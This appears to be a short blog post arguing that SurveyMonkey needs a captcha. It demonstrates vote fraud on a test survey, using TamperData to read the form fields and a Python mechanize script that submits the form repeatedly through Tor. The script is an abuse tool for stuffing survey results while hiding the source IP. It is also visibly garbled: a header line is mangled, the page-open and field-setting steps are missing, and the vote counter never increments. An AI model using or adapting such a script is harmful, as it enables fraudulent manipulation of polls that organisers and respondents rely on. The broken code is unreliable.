Survey Monkey has no captcha, beware

As Survey Monkey is used for surveys you want to have real results.

This post will show how easily it would be to vote fraudulently and manipulate poll results.

For this example I will be using python with it’s mechanize module and Tor installed on Linux. You will also need Firefox with the TamperData plugin.

Firstly I have created a test Survey.


Next I will find out the post data using TamperData.


The important data has been highlighed. The input name on the left is the name of the form element for the What is my name and the number corresponding to it on the far right is the answer I picked “billy”. The rest of the post data is hidden feilds and tokens to identify the response.

With this information it’s easy  to put together a script to automate the submission of the survey. Below is the commented code for the example submission.

#!/usr/bin/env python
#SurveyMonkey needs captcha
import mechanize
import socks
import socket
#patch to use tor, code from stackcoverflow not mine
def create_connection(address, timeout=None, source_address=None):
    sock = socks.socksocket()
    return sock

socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, "", 9050)
socket.socket = socks.socksocket
socket.create_connection = create_connection
count = 0
while True:
    br = mechanize.Browser()# Open the broswer object
    br.addheaders = [('User-agent', ' Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.64 Safari/537.31')]'') # survey to test
    #What is my name?
    #Drop down you say selection c
    #Tell me about yourself
    text = "testing 123" # text for the form
    br.submit()#submit the form
    br.response().read()#print the response
    print br.response().read()
    print "Number of votes: "+ str(count) # print number of votes

The script worked as expected and billy was the most popular name.


Leave a Reply